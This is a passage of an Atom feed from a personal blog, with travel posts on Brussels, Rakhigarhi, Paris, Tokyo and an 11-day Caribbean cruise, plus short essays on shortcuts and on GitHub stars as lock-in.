<a href="https://maps.app.goo.gl/w4u5otxWGCehtuvt5?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">VeganWaf</a>,
5.5 EUR for waffles with one topping. The taste is fairly average, so I cannot recommend it, though.</li>
<li>If you are planning to do 
<a href="/travel/belgium/antwerp/">Antwerp</a> as well, then consider doing that first.
Brussels is large, and everything else in Belgium appears quiet and small compared to it.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/belgium" term="belgium" label="belgium"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Shortcuts - when we love them and when we don't</title><link href="https://ashishb.net/tech/shortcuts/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><id>https://ashishb.net/tech/shortcuts/</id><author><name>Ashish Bhatia</name></author><published>2026-01-24T02:00:08+00:00</published><updated>2026-01-24T02:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Desire for a shortcut is a state of mind</blockquote><p>People love taking shortcuts in real life.
Ozempic is a shortcut to losing weight.
Tanning beds are a shortcut to getting tanned.

<a href="/books-worth-reading/">Summaries</a> are shortcuts to reading books.</p>
<p>Few take shortcuts in the activities they enjoy.
A hiker in 
<a href="/travel/el-chalten-argentina/">Patagonia</a> or climber on 
<a href="/travel/hiking-mt-fuji/">Mt. Fuji</a>
is not looking for a shortcut to finish the journey.
There is a genuine desire to enjoy the experience.
There is a genuine desire to improve one&rsquo;s ability and skills.</p>
<blockquote>
<p>Tech founders look for shortcuts and sales hacks.
Non-tech founders try to find ways to trivialize and outsource engineering.</p></blockquote>
<p>So, next time you see someone trivializing or trying to find a shortcut to something,
you can safely assume that they don&rsquo;t enjoy the activity.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">A visit to Rakhigarhi</title><link href="https://ashishb.net/travel/rakhigarhi/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><id>https://ashishb.net/travel/rakhigarhi/</id><author><name>Ashish Bhatia</name></author><published>2026-01-10T06:00:00+00:00</published><updated>2026-01-10T06:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Rakhigarhi (राखीगढ़ी), an archeological site in Haryana is dated to be 3000 BC and might be even older</blockquote><p>Rakhigarhi (राखीगढ़ी), an archeological site in Haryana is dated to be 3000 BC and might be even older.
As of July 2021, the site isn&rsquo;t ready for visitors just yet.
There is a museum but that&rsquo;s under construction too. So, if you are planning to visit, just wait for a few years.</p>
<figure>
    
    <a href="Rakhigarhi-archeological-site-notice-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Rakhigarhi-archeological-site-notice-1024x768.jpg"
         alt="An archaeological site Rakhigarhi fenced off with a notice advising visitors to wait a few years due to ongoing construction." width="900"/> </a>
</figure>

<figure>
    
    <a href="Rakhigarhi-archeological-site-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Rakhigarhi-archeological-site-1024x768.jpg"
         alt="An archaeological site notice board at Rakhigarhi provides information about the location and its historical significance, set against a backdrop of open landscape." width="900"/> </a>
</figure>

<figure>
    
    <a href="Rakhigarhi-lake-1024x672.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Rakhigarhi-lake-1024x672.jpg"
         alt="Lake in Rakhigarhi" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/></entry><entry><title type="html">Three days in overhyped Paris</title><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><id>https://ashishb.net/travel/france/paris/</id><author><name>Ashish Bhatia</name></author><published>2026-01-04T05:00:57+00:00</published><updated>2026-01-04T05:00:57+00:00</updated><content type="html"><![CDATA[<p>Paris is huge.
Paris is spread out.
Unlike Eastern 
<a href="/tag/europe/">European</a> cities, Paris does not have a beautiful old town.
In fact, the city is so overhyped that there is a   
    
    
<a href="https://en.wikipedia.org/wiki/Paris_effect?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Paris Effect</a> named
after it, where tourists expect to see a beautiful city but are disappointed when they arrive.</p>
<p>Now, of course, if you travel to Europe, you have to visit Paris because everyone else does.</p>
<p>Here&rsquo;s my recommended plan for Paris.</p>
<h2 id="day-1">Day 1</h2>
<p>Start with a   
    
    
<a href="https://www.neweuropetours.eu/paris-walking-tours/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a> to learn about the core
areas of the city.</p>
<p>The city radiates outward, and the walking tour will help you understand that.
The Latin Quarter is one of the best areas to visit.</p>
<p>Afterward, visit the Eiffel Tower.
The lines are long.
Just like most of Paris, it is good but overhyped.</p>
<figure class="align-center ">
    
    <a href="eiffel-tower-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="eiffel-tower-1.jpg#center"/> </a><figcaption>
            View of Eiffel Tower
        </figcaption>
</figure>

<figure class="align-center ">
    
    <a href="eiffel-tower-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="eiffel-tower-2.jpg#center"/> </a><figcaption>
            View from Eiffel Tower
        </figcaption>
</figure>

<p>At night, we ate at &ldquo;Dans Le Noir&rdquo; (pronounced <code>दॅान ले नुआ</code>), a restaurant served by the blinds.
And you eat in the pitch dark with no screens allowed either.
The food was good.
The experience was amazing.
In fact, eating at this restaurant was the highlight of our trip.
Of course, I have no pictures of the inside.
We did need to reserve in advance to get a seat.</p>
<h2 id="day-2">Day 2</h2>
<p>Start your day with the Louvre Museum.</p>
<figure class="align-center ">
    
    <a href="paris-louvre-museum-pyramid.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="paris-louvre-museum-pyramid.jpg#center"/> </a><figcaption>
            Louvre Museum in Paris, France
        </figcaption>
</figure>

<p>If lucky, you will only have to wait an hour in line.
And then, like everyone else, you will rush to see the Mona Lisa.</p>
<figure class="align-center ">
    
    <a href="paris-louvre-monalisa.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="paris-louvre-monalisa.jpg#center"/> </a><figcaption>
            Mona Lisa at Louvre Museum in Paris, France
        </figcaption>
</figure>

<p>Once you have seen here, don&rsquo;t forget to check out the rest of the museum.</p>
<figure class="align-center ">
    
    <a href="paris-louvre-venus-de-milo.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="paris-louvre-venus-de-milo.jpg#center"/> </a><figcaption>
            Venus de Milo at Louvre Museum in Paris, France
        </figcaption>
</figure>

<figure class="align-center ">
    
    <a href="paris-louvre-athena-of-velletri.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="paris-louvre-athena-of-velletri.jpg#center"/> </a><figcaption>
            Athena of Velletri at Louvre Museum in Paris, France
        </figcaption>
</figure>

<h2 id="day-3">Day 3</h2>
<p>Start your day with Champs Elysées (pronounced <code>शौंज़े-लीज़े</code>) and Arc de Triomphe(pronunced <code>आख़-द-त्रिऑम्फ़</code>)</p>
<figure class="align-center ">
    
    <a href="paris-arc-de-triomphe.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="paris-arc-de-triomphe.jpg#center"/> </a><figcaption>
            Arc de Triomphe in Paris, France
        </figcaption>
</figure>

<p>And then head to the Seine (pronounced <code>सेन</code>) River.</p>
<p>We wasted time by visiting the overhyped   
    
    
<a href="https://www.atlasobscura.com/places/catacombes-de-paris?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Catacombes de Paris</a>.
Turns out they close it arbitrarily during the year.
And you waste a lot of time in public transport getting there.
You are better off seeing them elsewhere, like 
<a href="/travel/malta/">Malta</a> orthe  Capuchin Crypt in 
<a href="/travel/rome-italy/">Rome</a>.</p>
<p>Further, the Jardin des Tuileries is a great area to take a walk in.</p>
<p>We skipped the Palace of Versailles because it is far away and requires a full day commitment.
And I would recommend going to Sintra near 
<a href="/travel/lisbon-portugal/">Lisbon, Portugal</a> instead.</p>
<h2 id="note">Note</h2>
<ol>
<li>The food choices, for vegetarians, are fairly average.</li>
<li>Card acceptance rate is high.</li>
<li>Knowing a few basic French phrases like &ldquo;Bonjour&rdquo; for Hello/<code>बोंज़ूऽ</code>, &ldquo;Merci&rdquo; for Thank you/<code>मघ़्सी</code>,
and &ldquo;S&rsquo;il vous plaît&rdquo; for Please/<code>सिल-वु-प्ले</code> is useful.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/france" term="france" label="france"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Empty Japan, crowded Tokyo</title><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/short-stories/language-learning-as-an-adult/?utm_source=atom_feed" rel="related" type="text/html" title="Language learning as an adult"/><id>https://ashishb.net/short-stories/empty-japan-crowded-tokyo/</id><author><name>Ashish Bhatia</name></author><published>2025-12-21T07:58:08+00:00</published><updated>2025-12-21T07:58:08+00:00</updated><content type="html"><![CDATA[<blockquote>Japan has 9 million empty homes, Tokyo is as crowded as New Delhi, though</blockquote><p>After seeing the world&rsquo;s busiest crossing, Shibuya crossing, in 
<a href="/travel/tokyo-japan/">Tokyo, Japan</a>,
we decided to take a train back to Shinjuku for a nighttime walking tour.</p>
<p>The local Tokyo train was packed with office workers heading home.
The experience was not very different from the Mumbai local or the New Delhi metro during peak hours.
However, unlike India, Japan has lost approximately 3% of its population (~4 million) over the last 15 years.
And there are   
    
    
<a href="https://www.theguardian.com/world/2024/may/01/akyia-houses-why-japan-has-nine-million-empty-homes?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">~9 million unoccupied houses</a> in Japan.</p>
<p>That&rsquo;s when it hit me, the   
    
    
<a href="https://www.newyorker.com/magazine/2025/03/03/the-population-implosion?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">population collapse</a> is going to arrive unequally.
Certain areas, usually rural, will be devoid of life.
And the rest of us will pack ourselves into   
    
    
<a href="https://www.palladiummag.com/2022/08/16/in-an-aging-world-the-metropole-beckons/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">metropoles</a>.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/japan" term="japan" label="Japan"/></entry><entry><title type="html">The real lock-in in GitHub is not the code, but the stars</title><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><link href="https://ashishb.net/tech/project-success/?utm_source=atom_feed" rel="related" type="text/html" title="World's simplest project success heuristic"/><link href="https://ashishb.net/tech/temu-and-the-chinese-approach/?utm_source=atom_feed" rel="related" type="text/html" title="Temu and the Chinese approach"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/github-stars/</id><author><name>Ashish Bhatia</name></author><published>2025-12-13T10:00:22+00:00</published><updated>2025-12-13T10:00:22+00:00</updated><content type="html"><![CDATA[<blockquote>GitHub stars have no value on their own. But ask yourself, what would differentiate a project on GitHub from GitLab if not for these stars?</blockquote><p>Sometimes, a product of a company makes no money on its own, but is the underlying
product that enables its other products to be sold.</p>
<h2 id="gmail">Gmail</h2>
<p>Consider the consumer Gmail service.
It likely makes   
    
    
<a href="https://www.theregister.com/2022/12/26/opinion_column_alexa/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">little money</a> on its own.
However, it is how people get introduced to Gmail.
This creates demand for its paid version, Google Workspace for enterprise.
That&rsquo;s one reason why you probably have never heard of
  
    
    
<a href="https://aws.amazon.com/workmail/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AWS WorkMail</a>,
Amazon&rsquo;s alternative to Google Workspace.</p>
<h2 id="airlines">Airlines</h2>
<p>Consider, Delta Air Lines, its core airline business, though profitable, is small compared to its
Frequent Flyer miles &amp; associated airline status program.</p>
<p>In fact, the Delta Skymiles business has a
  
    
    
<a href="https://www.theatlantic.com/ideas/archive/2023/09/airlines-banks-mileage-programs/675374/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bigger enterprise value</a>
that Delta Air Lines.
Without the actual airline, though, the miles program would not exist.</p>
<h2 id="github">GitHub</h2>
<p>Now consider GitHub.
For public code repositories, GitHub has become the de facto standard.</p>
<p>And projects have
been   
    
    
<a href="https://blog.nginx.org/blog/nginx-open-source-moves-to-github?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">compelled</a> to
  
    
    
<a href="https://sfconservancy.org/blog/2022/jun/30/give-up-github-launch/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">move</a> to GitHub.
One can duplicate all technical functionality of GitHub on GitLab.
However, nothing comes close to duplicating the impact of GitHub stars.</p>
<p>GitHub stars have value. Infact, you can even
  
    
    
<a href="https://the-guild.dev/blog/judging-open-source-by-github-stars?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">buy</a> GitHub stars.</p>
<p>Now, GitHub stars have no value on their own.
But ask yourself, what would differentiate a project on GitHub from GitLab if not for these stars?</p>
<p>So, one can complain as much about   
    
    
<a href="https://yoyo-code.com/why-is-github-ui-getting-so-much-slower/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">slow speed</a>
or   
    
    
<a href="https://www.githubstatus.com/history?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reliability</a> or
  
    
    
<a href="https://www.theregister.com/2025/12/02/zig_quits_github_microsoft_ai_obsession/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">product quality</a> of GitHub,
but leaving GitHub for a FOSS project is hard because you will be losing the social cues of your project&rsquo;s importance.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">11-day Norwegian Breakaway East Caribbean cruise</title><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/escaping-into-caribbean-with-norwegian-escape-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="Escaping into Caribbean with Norwegian Escape Cruise"/><link href="https://ashishb.net/travel/trinidad-and-tobago/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Trinidad and Tobago"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><link href="https://ashishb.net/travel/caribbean-trip-guide/?utm_source=atom_feed" rel="related" type="text/html" title="Where to go on your first Caribbean trip"/><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Dominican Republic in 5 days"/><id>https://ashishb.net/travel/11-day-caribbean-cruise/</id><author><name>Ashish Bhatia</name></author><published>2025-12-06T01:00:00+00:00</published><updated>2025-12-06T01:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Sail on the Norwegian Breakaway for 11 days through 8 stunning Caribbean ports. Discover vibrant cultures, but prepare for some cruise-line surprises.</blockquote><p>We took an   
    
    
<a href="https://m.icruise.com/itineraries/11-night-caribbean-dominican-republic-and-antigua-cruise_norwegian-breakaway_12-12-2024.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">11-day cruise</a> in the Caribbean spanning 8 ports of call across 7 countries.</p>
<p>The ship, Norwegian Breakaway, is an old ship. So, the amenities are lacking compared to our recent experience with the 
<a href="/travel/royal-caribbean-cruise-in-singapore/">Royal Caribbean</a>.</p>
<p>Compared to our 
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">previous trip</a> seven years back on Norwegian Cruise Line,
The food quality for vegetarians has declined significantly, especially since the buffet is no longer open 24 hours.
Furthermore, the dine-in restaurants are startled when we ask for vegetarian food.</p>
<p>While we have done 
<a href="/tag/cruise/">smaller duration</a> cruises before,
we were a bit apprehensive about such a long cruise; overall, it was still a great experience. On longer cruises, the crowd is usually older and friendlier.
Further, the shows start to repeat and get boring.</p>
<h2 id="puerto-plata-dominican-republic---port-of-call-1">Puerto Plata, Dominican Republic - port of call 1</h2>
<p>I was planning to do   
    
    
<a href="https://www.viator.com/tours/Dominican-Republic/DAMAJAGUA-THE-27-WATERFALLS/d32-114989P2?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Damajagua Waterfalls</a> here, but the bad weather caused that trip to be canceled.
So, I took a cruise and paid for $50 4-hour tour of the city instead.
The tour included a visit to a chocolate shop, a cigar shop, and other souvenir spots. It was underwhelming, and I don&rsquo;t recommend it.</p>
<p>I later took a tour of my own and found better spots in the city.
I also took a $30 massage at   
    
    
<a href="https://wa.me/18093542206?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Edith Salon</a>, and I can definitely recommend their service.</p>
<figure>
    
    <a href="dominican-republic-puerto-plata-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="dominican-republic-puerto-plata-1.jpg"
         alt="A serene massage setup at Edith Salon, featuring a massage table in a softly lit room" width="905"/> </a>
</figure>

<figure>
    
    <a href="dominican-republic-puerto-plata-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="dominican-republic-puerto-plata-2.jpg"
         alt="A tropical beach scene with palm trees, clear blue skies, and turquoise water, characteristic of Puerto Plata, Dominican Republic" width="905"/> </a>
</figure>

<p>Do note that compared to 
<a href="/travel/dominican-republic/">Santo Domingo and Punta Cana</a>, Puerto Plata is underdeveloped.</p>
<h2 id="san-juan-puerto-rico---port-of-call-2">San Juan, Puerto Rico - port of call 2</h2>
<p>Our second stop was San Juan, 
<a href="/travel/puerto-rico/">Puerto Rico</a>.
This was a nostalgic moment for me as I was visiting 
<a href="/travel/trip-to-puerto-rico-nov-2015/">Puerto Rico again</a> a decade later.
The city still looks the same, an old Spanish-style colonial town.</p>
<p>We took a   
    
    
<a href="https://www.osjfreetour.com/service-page/free-walking-tour-old-san-juan?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour of Old San Juan</a>, which included Salsa lessons as well.</p>
<figure>
    
    <a href="ncl-puerto-rico-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-puerto-rico-1.jpg"
         alt="A pier with people walking around near a cruise ship docked in San Juan, Puerto Rico" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-puerto-rico-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-puerto-rico-2.jpg"
         alt="A pier with turquoise water and palm trees in Saint Thomas, US Virgin Islands" width="905"/> </a>
</figure>

<h2 id="saint-thomas-us-virgin-islands---port-of-call-3">Saint Thomas, US Virgin Islands - port of call 3</h2>
<p>Saint Thomas was the most underwhelming stop of our tour. Everything is expensive; however, there is very little of value. So, if you want to skip a stop, this is the one.</p>
<p>I did a $38 2-hour tour of the island that takes you to the highest drivable point on the island to drink rum.
It was underwhelming because there isn&rsquo;t much to see in Saint Thomas.
You can also do a sky ride instead.
Either one of these is sufficient.
One can take a boat to reach the other islands, like St. John, but there is a risk of missing the cruise ship.</p>
<figure>
    
    <a href="ncl-st-thomas-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-thomas-1.jpg"
         alt="A cruise ship is docked at a port, with scenic, tropical islands visible in the background." width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-st-thomas-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-thomas-2.jpg"
         alt="A cruise ship is docked in a port with a lush, hilly landscape in the background" width="905"/> </a>
</figure>

<h2 id="st-johns-antigua-and-barbuda---port-of-call-4">St. John&rsquo;s, Antigua and Barbuda - port of call 4</h2>
<p>We took a   
    
    
<a href="https://www.tourguidegordon.com/best-of-paradise-valley-beach-island-tour-2?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">5-hour</a> tour of Antigua and Barbuda with   
    
    
<a href="https://guides.ashishb.net/country/antigua-and-barbuda?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gordon</a> for $75 per person. The tour guide was pretty good. I will definitely recommend Gordon, but the island is a bit underwhelming.</p>
<p>The island is underdeveloped and generates income via tourism.
There were great spots on the island to see.</p>
<figure>
    
    <a href="ncl-antigua-and-barbuda-1-devils-bridge.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-antigua-and-barbuda-1-devils-bridge.jpg"
         alt="Devil&#39;s Bridge" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-antigua-and-barbuda-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-antigua-and-barbuda-2.jpg"
         alt="A picturesque coastal scene features Devil&#39;s Bridge, a natural rock arch in Antigua and Barbuda, surrounded by ocean waves." width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-antigua-and-barbuda-3-morris-bay.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-antigua-and-barbuda-3-morris-bay.jpg"
         alt="Morris Bay" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-antigua-and-barbuda-4.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-antigua-and-barbuda-4.jpg"
         alt="Shirley Heights" width="905"/> </a>
</figure>

<h2 id="basseterre-st-kitts-and-nevis---port-of-call-5">Basseterre, St. Kitts and Nevis - port of call 5</h2>
<p>I decided to do the   
    
    
<a href="https://www.alltrails.com/trail/saint-kitts-nevis/saint-paul-capisterre/mount-liamuiga?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mt. Liamguia</a> hike here.</p>
<p>While one can do this hike solo, reaching the starting point of the hike is hard.
And you will spend $50 round-trip on a taxi for that.
You can instead do a guided tour for   
    
    
<a href="https://www.getyourguide.com/st-kitts-l32289/volcano-hike-to-mt-liamuiga-highest-peak-on-island-t713106/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$75 instead</a>
or contact   
    
    
<a href="https://guides.ashishb.net/country/saint-kitts-and-nevis?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Marle directly</a>.</p>
<p>The hike is exhausting. The temperature and humidity are both high, and I won&rsquo;t recommend it unless you are in good shape.
It only takes about 2 hours to reach the highest accessible point, slightly below the inaccessible crater top.
Overall, we finished the hike in about ~5.5 hours.
The only advantage of coming solo is that you would be able to descend into the crater.</p>
<figure>
    
    <a href="ncl-st-kitts-1-mt-liamguia.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-kitts-1-mt-liamguia.jpg"
         alt="Mt. Liamguia crater" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-st-kitts-2-mt-liamguia.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-kitts-2-mt-liamguia.jpg"
         alt="Mt. Liamguia hike" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-st-kitts-3.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-kitts-3.jpg"
         alt="St. Kitts" width="905"/> </a>
</figure>

<p>Afterward, I checked out the city.
Like Antigua, it is an underdeveloped island.</p>
<h2 id="philipsburg-sint-maarten---port-of-call-6">Philipsburg, Sint Maarten - port of call 6</h2>
<p>Sint Maarten (Dutch) and Saint Martin (French) are two parts of the same island.
There is no border crossing between the two.
And it is the smallest island in the world shared by two different countries.</p>
<p>We did a 5-hour $65 per person tour with   
    
    
<a href="https://www.bernardstours.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bernard</a> here;
You can find his   
    
    
<a href="https://guides.ashishb.net/country/sint-maarten-dutch?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">contact details here</a>.
This was the best tour of our whole trip.
Partly because this was one of the best islands of the trip, and partly because
the tour guide had a perfect setup with an AC bus, free drinks, and used a microphone.
The guide knew that the roads get congested and takes clever shortcuts to get everyone back to the ship on time.
I would highly recommend this tour.</p>
<p>We stopped along the way to visit various scenic stops on the island.</p>
<figure>
    
    <a href="ncl-st-maarten-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-maarten-1.jpg"
         alt="St. Maarten" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-st-maarten-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-maarten-2.jpg"
         alt="St. Maarten" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-st-maarten-3-great-beach.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-maarten-3-great-beach.jpg"
         alt="St. Maarten" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-st-maarten-4-plane-above-beach.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-maarten-4-plane-above-beach.jpg"
         alt="St. Maarten - plane above the beach" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-st-maarten-5.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-st-maarten-5.jpg"
         alt="St. Maarten" width="905"/> </a>
</figure>

<p>The beach was gorgeous, and we enjoyed swimming there.</p>
<p>Our final stop was the airstrip next to the beach.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/nuo47V88Dl0?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Afterward, we took a walk in Philipsburg. It is a fairly beautiful city.</p>
